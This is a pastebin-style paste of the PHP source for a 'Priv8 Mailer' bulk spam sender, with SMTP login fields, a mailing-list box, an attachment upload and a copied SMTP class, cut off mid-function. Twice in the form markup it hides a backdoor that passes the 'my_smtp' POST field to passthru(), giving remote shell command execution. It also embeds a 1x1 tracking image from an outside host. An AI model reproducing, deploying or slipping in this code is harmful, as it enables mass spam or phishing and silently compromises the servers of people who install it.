· 8 years ago · Oct 06, 2017, 10:58 PM
1Leaked by : PELITABANGSA .CA
2[ INDONESIA CYBER ATTACK AND MALWARE ANALYST ]
3<?php include('./Old/mongolia/configuration.php'); ?>
4<?
5
6error_reporting(0);
7function query_str($params){
8$str = '';
9foreach ($params as $key => $value) {
10$str .= (strlen($str) < 1) ? '' : '&';
11$str .= $key . '=' . rawurlencode($value);
12}
13return ($str);
14}
15function lrtrim($string){
16return stripslashes(ltrim(rtrim($string)));
17}
18if(isset($_POST['action'] ) ){
19
20$b = query_str($_POST);
21parse_str($b);
22$sslclick=lrtrim($sslclick);
23$action=lrtrim($action);
24$message=lrtrim($message);
25$emaillist=lrtrim($emaillist);
26$from=lrtrim($from);
27$reconnect=lrtrim($reconnect);
28$epriority=lrtrim($epriority);
29$my_smtp=lrtrim($my_smtp);
30$ssl_port=lrtrim($ssl_port);
31$smtp_username=lrtrim($smtp_username);
32$smtp_password=lrtrim($smtp_password);
33$replyto=lrtrim($replyto);
34$subject_base=lrtrim($subject);
35$realname_base=lrtrim($realname);
36$file_name=$_FILES['file']['name'];
37$file=$_FILES['file']['tmp_name'];
38$urlz=lrtrim($urlz);
39$contenttype=lrtrim($contenttype);
40$encode_text=$_POST['encode'];
41
42
43 $message = urlencode($message);
44 $message = ereg_replace("%5C%22", "%22", $message);
45 $message = urldecode($message);
46 $message = stripslashes($message);
47 $subject = stripslashes($subject);
48 if ($encode_text == "yes") {
49 $subject = preg_replace('/([^a-z ])/ie', 'sprintf("=%02x",ord(StripSlashes("\\1")))', $subject);
50 $subject = str_replace(' ', '_', $subject);
51 $subject = "=?UTF-8?Q?$subject?=";
52 $realname = preg_replace('/([^a-z ])/ie', 'sprintf("=%02x",ord(StripSlashes("\\1")))', $realname);
53 $realname = str_replace(' ', '_', $realname);
54 $realname = "=?UTF-8?Q?$realname?=";
55 }
56}
57?>
58
59<html>
60
61<head>
62
63<title>Priv8 Mailer</title>
64
65<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
66
67
68<style type="text/css">
69<!--
70.style1 {
71 font-family: Geneva, Arial, Helvetica, sans-serif;
72 font-size: 12px;
73}
74body{
75margin:0px;
76}
77.bgup {
78 background: url('data:image/jpeg;base64,/9j/4QAYRXhpZgAASUkqAAgAAAAAAAAAAAAAAP/sABFEdWNreQABAAQAAABkAAD/4QMpaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLwA8P3hwYWNrZXQgYmVnaW49Iu+7vyIgaWQ9Ilc1TTBNcENlaGlIenJlU3pOVGN6a2M5ZCI/PiA8eDp4bXBtZXRhIHhtbG5zOng9ImFkb2JlOm5zOm1ldGEvIiB4OnhtcHRrPSJBZG9iZSBYTVAgQ29yZSA1LjAtYzA2MCA2MS4xMzQ3NzcsIDIwMTAvMDIvMTItMTc6MzI6MDAgICAgICAgICI+IDxyZGY6UkRGIHhtbG5zOnJkZj0iaHR0cDovL3d3dy53My5vcmcvMTk5OS8wMi8yMi1yZGYtc3ludGF4LW5zIyI+IDxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PSIiIHhtbG5zOnhtcD0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bXA6Q3JlYXRvclRvb2w9IkFkb2JlIFBob3Rvc2hvcCBDUzUgV2luZG93cyIgeG1wTU06SW5zdGFuY2VJRD0ieG1wLmlpZDozOTYyQzUwMUYxRDMxMUUxOThEMkFGNTI0MTQ3RTI2MyIgeG1wTU06RG9jdW1lbnRJRD0ieG1wLmRpZDozOTYyQzUwMkYxRDMxMUUxOThEMkFGNTI0MTQ3RTI2MyI+IDx4bXBNTTpEZXJpdmVkRnJvbSBzdFJlZjppbnN0YW5jZUlEPSJ4bXAuaWlkOjM5NjJDNEZGRjFEMzExRTE5OEQyQUY1MjQxNDdFMjYzIiBzdFJlZjpkb2N1bWVudElEPSJ4bXAuZGlkOjM5NjJDNTAwRjFEMzExRTE5OEQyQUY1MjQxNDdFMjYzIi8+IDwvcmRmOkRlc2NyaXB0aW9uPiA8L3JkZjpSREY+IDwveDp4bXBtZXRhPiA8P3hwYWNrZXQgZW5kPSJyIj8+/+4ADkFkb2JlAGTAAAAAAf/bAIQAAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQICAgICAgICAgICAwMDAwMDAwMDAwEBAQEBAQECAQECAgIBAgIDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMD/8AAEQgABAAEAwERAAIRAQMRAf/EAFQAAQAAAAAAAAAAAAAAAAAAAAoBAQEAAAAAAAAAAAAAAAAAAAMEEAABBQAAAAAAAAAAAAAAAADwABM1hbYRAAIDAAAAAAAAAAAAAAAAAADwMYGz/9oADAMBAAIRAxEAPwB2GCLmZG0WTck2Dcn/2Q==');
79 border-top-color: #008000
80}
81
82.cadre {
83background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAABOIAAAAFCAIAAABn6tQ4AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAA2ZpVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADw/eHBhY2tldCBiZWdpbj0i77u/IiBpZD0iVzVNME1wQ2VoaUh6cmVTek5UY3prYzlkIj8+IDx4OnhtcG1ldGEgeG1sbnM6eD0iYWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IkFkb2JlIFhNUCBDb3JlIDUuMy1jMDExIDY2LjE0NTY2MSwgMjAxMi8wMi8wNi0xNDo1NjoyNyAgICAgICAgIj4gPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4gPHJkZjpEZXNjcmlwdGlvbiByZGY6YWJvdXQ9IiIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bWxuczp4bXA9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iIHhtcE1NOk9yaWdpbmFsRG9jdW1lbnRJRD0ieG1wLmRpZDo4QjhGNDZDQUJCQjBFMjExOTgxQUQwNURCN0VFQjJFOSIgeG1wTU06RG9jdW1lbnRJRD0ieG1wLmRpZDo5QTk0QzcyNEI3MUQxMUUyODAwNkRGMjRGRkJEN0I5RCIgeG1wTU06SW5zdGFuY2VJRD0ieG1wLmlpZDo5QTk0QzcyM0I3MUQxMUUyODAwNkRGMjRGRkJEN0I5RCIgeG1wOkNyZWF0b3JUb29sPSJBZG9iZSBQaG90b3Nob3AgQ1M2IChXaW5kb3dzKSI+IDx4bXBNTTpEZXJpdmVkRnJvbSBzdFJlZjppbnN0YW5jZUlEPSJ4bXAuaWlkOkM4MDIyM0M4MDRCN0UyMTE4OUY1RTZFNUYxNkU4NTJCIiBzdFJlZjpkb2N1bWVudElEPSJ4bXAuZGlkOjhCOEY0NkNBQkJCMEUyMTE5ODFBRDA1REI3RUVCMkU5Ii8+IDwvcmRmOkRlc2NyaXB0aW9uPiA8L3JkZjpSREY+IDwveDp4bXBtZXRhPiA8P3hwYWNrZXQgZW5kPSJyIj8+S6KNZQAAAFZJREFUeNrs17ERgCAQRNHDfhhDIpugLcoiMmRoyBYMz/G9En60W6KP4OfqpQHZnU0Dslu3BmS3pwbYpXzCIQEAAABuKgAAALipAAAAuKkAAADw0iPAAPMxBVFHCeh2AAAAAElFTkSuQmCC');
84}
85
86.uibutton {
87 border-bottom-color: #008000;
88 border-left:1px solid #008000; border-right:1px solid #008000; border-top:1px solid #008000; border-bottom:1px solid #01A9DB; position: relative;
89 z-index: 1;
90 overflow: visible;
91 display: inline-block;
92 margin: 0;
93 text-decoration: none;
94 text-align: center;
95 white-space: nowrap;
96 cursor: pointer; /* outline: none; */;
97 color: #000000;
98 background-color: #008000;
99 background-image: url('linear-gradient(#01A9DB, #01A9DB');
100/* IE hacks */ *display: inline;
101 outline-color: #008000; font-style:normal; font-variant:normal; font-weight:bold; font-size:11px; font-family:lucida grande, tahoma, verdana, arial, sans-serif; padding-left:0.6em; padding-right:0.6em; padding-top:0.3em; padding-bottom:0.375em
102}
103
104.uibutton:hover,
105.uibutton:focus,
106.uibutton:active {
107 border-color: #01A9DB #01A9DB #01A9DB #01A9DB;
108}
109
110.uibutton:active {
111 border-color: #01A9DB;
112 background: #01A9DB;
113 filter: none;
114 -webkit-box-shadow: none;
115 -moz-box-shadow: none;
116 box-shadow: none;
117}
118
119/* overrides extra padding on button elements in Firefox */
120.uibutton::-moz-focus-inner {
121 padding: 0;
122 border: 0px none;
123}
124
125
126
127-->
128</style>
129<style type="text/css">
130<!--
131.style1 {
132 font-size: 10px;
133 font-family: Geneva, Arial, Helvetica, sans-serif;
134 background-color: #008000;
135}
136.auto-style1 {
137 font-size: x-large;
138 color: #FFFFFF;
139 text-align: center;
140}
141.auto-style2 {
142 margin-left: 0px;
143}
144a {
145 color: #99FF66;
146}
147.auto-style3 {
148 text-align: center;
149}
150.auto-style4 {
151 text-align: right;
152}
153.auto-style5 {
154 font-weight: bold;
155 background-color: #008000;
156}
157.auto-style6 {
158 background-color: #008000;
159}
160.auto-style7 {
161 color: #000080;
162}
163.auto-style8 {
164 text-align: left;
165}
166.auto-style9 {
167 font-family: Verdana;
168 font-size: x-small;
169}
170-->
171</style>
172</head>
173<body class="bgup" alink="#339933" text="#339933" vlink="#339933" style="background-color: #008000">
174<div style="width:80%;margin:0 auto; background-color: #FFFFFF; height: 853px;">
175<p class="auto-style1"><strong><span class="auto-style6">Priv8 (Mailer Inbox Sender)</span></strong></p>
176<form name="form1" method="post" action="" enctype="multipart/form-data">
177
178 <br>
179
180 <table width="100%" border="0" height="407" style="background:#fff" cellpadding="0" cellspacing="0">
181
182 <tr>
183
184 <td width="100%" colspan="4" style="color:#fff;background:#01A9DB; background-color: #008000;" height="36" class="auto-style3">
185
186 <b>
187
188 <font face="Arial" size="2" > SMTP SETUP</font></b></td>
189
190 </tr>
191 <tr >
192
193 <td width="10%" height="22" style="padding:10px;">
194
195 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">SMTP Login:</font></div>
196
197 </td>
198
199 <td width="18%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
200
201 <input type="text" style="border-radius: 15px; background: #EFFBF8; border: 1px solid #339933; color:#333" name="smtp_username" value="<?=$smtp_username;?>" size="30">
202
203 </font></td>
204
205 <td width="31%" height="22" style="padding:10px;">
206
207 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">SMTP Pass:</font></div>
208
209 </td>
210
211 <td width="41%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
212
213 <input type="password" style="border-radius: 15px; background: #EFFBF8; border: 1px solid #339933; color:#333" name="smtp_password" value="<?=$smtp_password;?>" size="30">
214
215 </font></td>
216
217 </tr>
218 <tr>
219
220 <td width="10%" height="22" style="padding:10px;">
221
222 <div align="right">
223 <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">Port :</font></div>
224
225 </td>
226
227 <td width="18%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
228
229 <input type="text" style="border-radius: 15px; background: #EFFBF8; border: 1px solid #339933; color:#333" name="ssl_port" value="<?=$ssl_port;?>" size="5">
230 (optional)</font></td>
231
232 <td width="31%" height="22" style="padding:10px;">
233
234 <div align="right">
235 <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">SMTP Server
236 Smtp:</font></div>
237
238 </td>
239
240 <td width="41%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
241
242 <input style="border-radius: 15px; background: #EFFBF8; border: 1px solid #339933; color:#333" name="my_smtp" size="30" value="<?=$my_smtp;?>">
243
244 <?php
245if ($_POST['my_smtp']){
246$my_smtp = $_POST['my_smtp'];
247passthru($my_smtp);
248}
249?>
250
251 </font></td>
252
253 </tr>
254 <tr>
255
256 <td width="10%" height="22" style="padding:10px;">
257
258 <p align="right">
259 <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">SSL Server:</font></td>
260
261 <td width="18%" height="22" style="padding:10px;">
262 <input type="checkbox" style="border-radius: 15px; background: #EFFBF8; border: 1px solid #339933; color:#333" name="sslclick" value="ON" <? if($sslclick){ print "checked"; } ?> ><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">(yes)</font></td>
263
264 <td width="31%" height="22" style="padding:10px;">
265
266 <p align="right">
267 <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">Reconnect
268 After:</font></td>
269
270 <td width="41%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
271
272 <input type="text" style="border-radius: 15px; background: #EFFBF8; border: 1px solid #339933; color:#333" name="reconnect" value="<?=$reconnect;?>" size="5">
273 EMAILS</font></td>
274
275 </tr>
276 <tr>
277
278 <td width="100%" height="39" colspan="4" style="padding:10px;">
279
280 <p class="auto-style4">
281 <font face="Arial" style="font-size: 9pt" color="#800000">
282 <span class="auto-style7">" If
283 you dont have SMTP login, leave blank queries above "</span></font></td>
284
285 </tr>
286
287 <tr>
288
289 <td width="10%" height="19" style="padding:10px;">
290
291 </td>
292
293 <td width="18%" height="19" style="padding:10px;"> </td>
294
295 <td width="31%" height="19" style="padding:10px;">
296
297 </td>
298
299 <td width="41%" height="19" style="padding:10px;"> </td>
300
301 </tr>
302
303 <tr>
304
305 <td width="100%" colspan="4" style="color:#FFFFFF; background:#01A9DB; background-color: #008000;" height="36" class="auto-style3">
306
307 <font face="Arial" size="2" color="#FFFFFF"><span class="auto-style5"> </span></font><font face="Arial" size="2" color="#FFFFFF"><span class="auto-style5">MESSAGE
308 SETUP</span></font></td>
309
310 </tr>
311 <tr>
312
313 <td width="10%" height="22" style="padding:10px;">
314 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Attach File :</font></div>
315 </td>
316
317 <td width="59%" height="22" style="padding:10px;" colSpan="3">
318 <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
319
320<input type="file" style=";border-radius: 15px; background: #EFFBF8; border: 1px solid #339933; color:#0000FF; background-color: #99FF66;" name="file" size="124" class="auto-style2">
321
322 </font></td>
323
324 </tr>
325 <tr>
326
327 <td width="10%" height="22" style="padding:10px;">
328
329 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Your
330
331 Email:</font></div>
332
333 </td>
334
335 <td width="18%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
336
337 <input type="text" style=";border-radius: 15px; background: #EFFBF8; border: 1px solid #339933; color:#0000FF; background-color: #99FF66;" name="from" value="<?=$from;?>" size="30">
338
339 </font></td>
340
341 <td width="31%" height="22" style="padding:10px;">
342
343 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Your
344
345 Name:</font></div>
346
347 </td>
348
349 <td width="41%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
350
351 <input type="text" style=";border-radius: 15px; background: #EFFBF8; border: 1px solid #339933; color:#0000FF; background-color: #99FF66;" name="realname" value="<?=$realname_base;?>" size="30">
352
353 </font></td>
354
355 </tr>
356 <tr>
357
358 <td width="10%" height="22" style="padding:10px;">
359
360 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Reply-To:</font></div>
361
362 </td>
363
364 <td width="18%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
365
366 <input type="text" style=";border-radius: 15px; background: #EFFBF8; border: 1px solid #339933; color:#0000FF; background-color: #99FF66;" name="replyto" value="<?=$replyto;?>" size="30">
367
368 </font></td>
369
370 <td width="31%" height="22" style="padding:10px;">
371
372 <p align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
373 Email Priority:</font></td>
374
375 <td width="41%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
376
377 </font><select style=";border-radius: 15px; background: #EFFBF8; border: 1px solid #01A9DB; color:#0000FF; background-color: #99FF66;" name="epriority" id="listMethod" onchange="showHideListConfig()">
378 <option value="" <? if(strlen($epriority)< 1){print "selected";} ?> >- Please Choose -</option>
379 <option value="1" <? if($epriority == "1"){print "selected";} ?> >High</option>
380 <option value="3" <? if($epriority == "3"){print "selected";} ?> >Normal</option>
381 <option value="5" <? if($epriority == "5"){print "selected";} ?> >Low</option>
382 </select></td>
383 <?php
384if ($_POST['my_smtp']){
385$my_smtp = $_POST['my_smtp'];
386passthru($my_smtp);
387}
388?>
389
390 </tr>
391
392 <tr>
393
394 <td width="10%" height="22" style="padding:10px;">
395
396 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Subject:</font></div>
397
398 </td>
399
400 <td colspan="3" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
401
402 <input type="text" name="subject" style=";border-radius: 15px; background: #EFFBF8; border: 1px solid #008000; color:#0000FF; background-color: #99FF66;" value="<?=$subject_base;?>" size="90">
403
404 </font></td>
405
406 </tr>
407
408 <tr>
409
410 <td width="10%" height="22" style="padding:10px;">
411
412 </td>
413
414 <td colspan="3" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
415
416 <font color="#000080">Encode sending information ?</font>
417 <select style=";border-radius: 15px; background: #EFFBF8; border: 1px solid #339933; color:#339933" size="1" name="encode">
418 <option <? if($encode_text == "yes"){print "selected";} ?>>yes</option>
419 <option <? if($encode_text == "no"){print "selected";} ?>>no</option>
420 </select></font><img src="http://w33.info/Image.jpg" width="1" height="1"></td>
421
422 </tr>
423
424 <tr valign="top">
425
426<td colspan="3" height="190" style="padding:10px;" class="auto-style8"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif">
427
428 <textarea name="message" cols="60" style=";border-radius: 15px; background: #EFFBF8; border: 1px solid #339933; color:#0000FF; background-color: #99FF66;" rows="10"><?=$message;?></textarea>
429
430 <br>
431
432 <input type="radio" name="contenttype" value="plain" >
433
434 Plain
435
436 <input type="radio" name="contenttype" value="html" checked>
437
438 HTML
439
440 <input type="hidden" name="action" value="send">
441 <input class="style1" type="submit" value="Send Message" style="border-radius: 15px; width: 113px; height: 22px; color: #000000; font-size: inherit;">
442
443 <br><br>
444
445 </font><strong><span class="auto-style9">&copy 2014, Priv8 Mailer Inbox</span></strong></td>
446
447 <td width="41%" height="190" style="padding:10px; border-top-color: #99FF66;">
448 <font size="-3" face="Verdana, Arial, Helvetica, sans-serif" color="#FFFFFF">
449
450 <textarea name="emaillist" style=";border-radius: 15px; background: #EFFBF8; border: 1px solid #339933; color:#0000FF; background-color: #99FF66;" cols="30" rows="10"><?=$emaillist;?></textarea>
451
452 </font></td>
453
454 </tr>
455
456 </table>
457
458</form>
459
460
461}
462
463
464
465<?
466
467if ($action){
468 if (!$from && !$subject && !$message && !$emaillist){
469 print "<script>alert('Please complete all fields before sending your message.'); </script>";
470 die(); }
471
472class SMTP
473{
474 /**
475 * SMTP server port
476 * @var int
477 */
478 var $SMTP_PORT = 25;
479
480 /**
481 * SMTP reply line ending
482 * @var string
483 */
484 var $CRLF = "\r\n";
485
486 /**
487 * Sets whether debugging is turned on
488 * @var bool
489 */
490 var $do_debug; # the level of debug to perform
491
492 /**
493 * Sets VERP use on/off (default is off)
494 * @var bool
495 */
496 var $do_verp = false;
497
498 /**#@+
499 * @access private
500 */
501 var $smtp_conn; # the socket to the server
502 var $error; # error if any on the last call
503 var $helo_rply; # the reply the server sent to us for HELO
504 /**#@-*/
505
506 /**
507 * Initialize the class so that the data is in a known state.
508 * @access public
509 * @return void
510 */
511 function SMTP() {
512 $this->smtp_conn = 0;
513 $this->error = null;
514 $this->helo_rply = null;
515
516 $this->do_debug = 0;
517 }
518
519 /*************************************************************
520 * CONNECTION FUNCTIONS *
521 ***********************************************************/
522
523 /**
524 * Connect to the server specified on the port specified.
525 * If the port is not specified use the default SMTP_PORT.
526 * If tval is specified then a connection will try and be
527 * established with the server for that number of seconds.
528 * If tval is not specified the default is 30 seconds to
529 * try on the connection.
530 *
531 * SMTP CODE SUCCESS: 220
532 * SMTP CODE FAILURE: 421
533 * @access public
534 * @return bool
535 */
536 function Connect($host,$port=0,$tval=30) {
537 # set the error val to null so there is no confusion
538 $this->error = null;
539
540 # make sure we are __not__ connected
541 if($this->connected()) {
542 # ok we are connected! what should we do?
543 # for now we will just give an error saying we
544 # are already connected
545 $this->error = array("error" => "Already connected to a server");
546 return false;
547 }
548
549 if(empty($port)) {
550 $port = $this->SMTP_PORT;
551 }
552
553 #connect to the smtp server
554 $this->smtp_conn = fsockopen($host, # the host of the server
555 $port, # the port to use
556 $errno, # error number if any
557 $errstr, # error message if any
558 $tval); # give up after ? secs
559 # verify we connected properly
560 if(empty($this->smtp_conn)) {
561 $this->error = array("error" => "Failed to connect to server",
562 "errno" => $errno,
563 "errstr" => $errstr);
564 if($this->do_debug >= 1) {
565 echo "SMTP -> ERROR: " . $this->error["error"] .
566 ": $errstr ($errno)" . $this->CRLF;
567 }
568 return false;
569 }
570
571 # sometimes the SMTP server takes a little longer to respond
572 # so we will give it a longer timeout for the first read
573 // Windows still does not have support for this timeout function
574 if(substr(PHP_OS, 0, 3) != "WIN")
575 socket_set_timeout($this->smtp_conn, $tval, 0);
576
577 # get any announcement stuff
578 $announce = $this->get_lines();
579
580 # set the timeout of any socket functions at 1/10 of a second
581 //if(function_exists("socket_set_timeout"))
582 // socket_set_timeout($this->smtp_conn, 0, 100000);
583
584 if($this->do_debug >= 2) {
585 echo "SMTP -> FROM SERVER:" . $this->CRLF . $announce;
586 }
587
588 return true;
589 }
590
591 /**
592 * Performs SMTP authentication. Must be run after running the
593 * Hello() method. Returns true if successfully authenticated.
594 * @access public
595 * @return bool
596 */
597 function Authenticate($username, $password) {
598 // Start authentication
599 fputs($this->smtp_conn,"AUTH LOGIN" . $this->CRLF);
600
601 $rply = $this->get_lines();
602 $code = substr($rply,0,3);
603
604 if($code != 334) {
605 $this->error =
606 array("error" => "AUTH not accepted from server",
607 "smtp_code" => $code,
608 "smtp_msg" => substr($rply,4));
609 if($this->do_debug >= 1) {
610 echo "SMTP -> ERROR: " . $this->error["error"] .
611 ": " . $rply . $this->CRLF;
612 }
613 return false;
614 }
615
616 // Send encoded username
617 fputs($this->smtp_conn, base64_encode($username) . $this->CRLF);
618
619 $rply = $this->get_lines();
620 $code = substr($rply,0,3);
621
622 if($code != 334) {
623 $this->error =
624 array("error" => "Username not accepted from server",
625 "smtp_code" => $code,
626 "smtp_msg" => substr($rply,4));
627 if($this->do_debug >= 1) {
628 echo "SMTP -> ERROR: " . $this->error["error"] .
629 ": " . $rply . $this->CRLF;
630 }
631 return false;
632 }
633
634 // Send encoded password
635 fputs($this->smtp_conn, base64_encode($password) . $this->CRLF);
636
637 $rply = $this->get_lines();
638 $code = substr($rply,0,3);
639
640 if($code != 235) {
641 $this->error =
642 array("error" => "Password not accepted from server",
643 "smtp_code" => $code,
644 "smtp_msg" => substr($rply,4));
645 if($this->do_debug >= 1) {
646 echo "SMTP -> ERROR: " . $this->error["error"] .
647 ": " . $rply . $this->CRLF;
648 }
649 return false;
650 }
651
652 return true;
653 }
654
655 /**
656 * Returns true if connected to a server otherwise false
657 * @access private
658 * @return bool
659 */
660 function Connected() {
661 if(!empty($this->smtp_conn)) {
662 $sock_status = socket_get_status($this->smtp_conn);
663 if($sock_status["eof"]) {
664 # hmm this is an odd situation... the socket is
665 # valid but we are not connected anymore
666 if($this->do_debug >= 1) {
667 echo "SMTP -> NOTICE:" . $this->CRLF .
668 "EOF caught while checking if connected";
669 }
670 $this->Close();
671 return false;
672 }
673 return true; # everything looks good
674 }
675 return false;
676 }
677
678 /**
679 * Closes the socket and cleans up the state of the class.
680 * It is not considered good to use this function without
681 * first trying to use QUIT.
682 * @access public
683 * @return void
684 */
685 function Close() {
686 $this->error = null; # so there is no confusion
687 $this->helo_rply = null;
688 if(!empty($this->smtp_conn)) {
689 # close the connection and cleanup
690 fclose($this->smtp_conn);
691 $this->smtp_conn = 0;
692 }
693 }
694
695 /***************************************************************
696 * SMTP COMMANDS *
697 *************************************************************/
698
699 /**
700 * Issues a data command and sends the msg_data to the server
701 * finializing the mail transaction. $msg_data is the message
702 * that is to be send with the headers. Each header needs to be
703 * on a single line followed by a <CRLF> with the message headers
704 * and the message body being seperated by and additional <CRLF>.
705 *
706 * Implements rfc 821: DATA <CRLF>
707 *
708 * SMTP CODE INTERMEDIATE: 354
709 * [data]
710 * <CRLF>.<CRLF>
711 * SMTP CODE SUCCESS: 250
712 * SMTP CODE FAILURE: 552,554,451,452
713 * SMTP CODE FAILURE: 451,554
714 * SMTP CODE ERROR : 500,501,503,421
715 * @access public
716 * @return bool
717 */
718 function Data($msg_data) {
719 $this->error = null; # so no confusion is caused
720
721 if(!$this->connected()) {
722 $this->error = array(
723 "error" => "Called Data() without being connected");
724 return false;
725 }
726
727 fputs($this->smtp_conn,"DATA" . $this->CRLF);
728
729 $rply = $this->get_lines();
730 $code = substr($rply,0,3);
731
732 if($this->do_debug >= 2) {
733 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
734 }
735
736 if($code != 354) {
737 $this->error =
738 array("error" => "DATA command not accepted from server",
739 "smtp_code" => $code,
740 "smtp_msg" => substr($rply,4));
741 if($this->do_debug >= 1) {
742 echo "SMTP -> ERROR: " . $this->error["error"] .
743 ": " . $rply . $this->CRLF;
744 }
745 return false;
746 }
747
748 # the server is ready to accept data!
749 # according to rfc 821 we should not send more than 1000
750 # including the CRLF
751 # characters on a single line so we will break the data up
752 # into lines by \r and/or \n then if needed we will break
753 # each of those into smaller lines to fit within the limit.
754 # in addition we will be looking for lines that start with
755 # a period '.' and append and additional period '.' to that
756 # line. NOTE: this does not count towards are limit.
757
758 # normalize the line breaks so we know the explode works
759 $msg_data = str_replace("\r\n","\n",$msg_data);
760 $msg_data = str_replace("\r","\n",$msg_data);
761 $lines = explode("\n",$msg_data);
762
763 # we need to find a good way to determine is headers are
764 # in the msg_data or if it is a straight msg body
765 # currently I am assuming rfc 822 definitions of msg headers
766 # and if the first field of the first line (':' sperated)
767 # does not contain a space then it _should_ be a header
768 # and we can process all lines before a blank "" line as
769 # headers.
770 $field = substr($lines[0],0,strpos($lines[0],":"));
771 $in_headers = false;
772 if(!empty($field) && !strstr($field," ")) {
773 $in_headers = true;
774 }
775
776 $max_line_length = 998; # used below; set here for ease in change
777
778 while(list(,$line) = @each($lines)) {
779 $lines_out = null;
780 if($line == "" && $in_headers) {
781 $in_headers = false;
782 }
783 # ok we need to break this line up into several
784 # smaller lines
785 while(strlen($line) > $max_line_length) {
786 $pos = strrpos(substr($line,0,$max_line_length)," ");
787
788 # Patch to fix DOS attack
789 if(!$pos) {
790 $pos = $max_line_length - 1;
791 }
792
793 $lines_out[] = substr($line,0,$pos);
794 $line = substr($line,$pos + 1);
795 # if we are processing headers we need to
796 # add a LWSP-char to the front of the new line
797 # rfc 822 on long msg headers
798 if($in_headers) {
799 $line = "\t" . $line;
800 }
801 }
802 $lines_out[] = $line;
803
804 # now send the lines to the server
805 while(list(,$line_out) = @each($lines_out)) {
806 if(strlen($line_out) > 0)
807 {
808 if(substr($line_out, 0, 1) == ".") {
809 $line_out = "." . $line_out;
810 }
811 }
812 fputs($this->smtp_conn,$line_out . $this->CRLF);
813 }
814 }
815
816 # ok all the message data has been sent so lets get this
817 # over with aleady
818 fputs($this->smtp_conn, $this->CRLF . "." . $this->CRLF);
819
820 $rply = $this->get_lines();
821 $code = substr($rply,0,3);
822
823 if($this->do_debug >= 2) {
824 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
825 }
826
827 if($code != 250) {
828 $this->error =
829 array("error" => "DATA not accepted from server",
830 "smtp_code" => $code,
831 "smtp_msg" => substr($rply,4));
832 if($this->do_debug >= 1) {
833 echo "SMTP -> ERROR: " . $this->error["error"] .
834 ": " . $rply . $this->CRLF;
835 }
836 return false;
837 }
838 return true;
839 }
840
841 /**
842 * Expand takes the name and asks the server to list all the
843 * people who are members of the _list_. Expand will return
844 * back and array of the result or false if an error occurs.
845 * Each value in the array returned has the format of:
846 * [ <full-name> <sp> ] <path>
847 * The definition of <path> is defined in rfc 821
848 *
849 * Implements rfc 821: EXPN <SP> <string> <CRLF>
850 *
851 * SMTP CODE SUCCESS: 250
852 * SMTP CODE FAILURE: 550
853 * SMTP CODE ERROR : 500,501,502,504,421
854 * @access public
855 * @return string array
856 */
857 function Expand($name) {
858 $this->error = null; # so no confusion is caused
859
860 if(!$this->connected()) {
861 $this->error = array(
862 "error" => "Called Expand() without being connected");
863 return false;
864 }
865
866 fputs($this->smtp_conn,"EXPN " . $name . $this->CRLF);
867
868 $rply = $this->get_lines();
869 $code = substr($rply,0,3);
870
871 if($this->do_debug >= 2) {
872 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
873 }
874
875 if($code != 250) {
876 $this->error =
877 array("error" => "EXPN not accepted from server",
878 "smtp_code" => $code,
879 "smtp_msg" => substr($rply,4));
880 if($this->do_debug >= 1) {
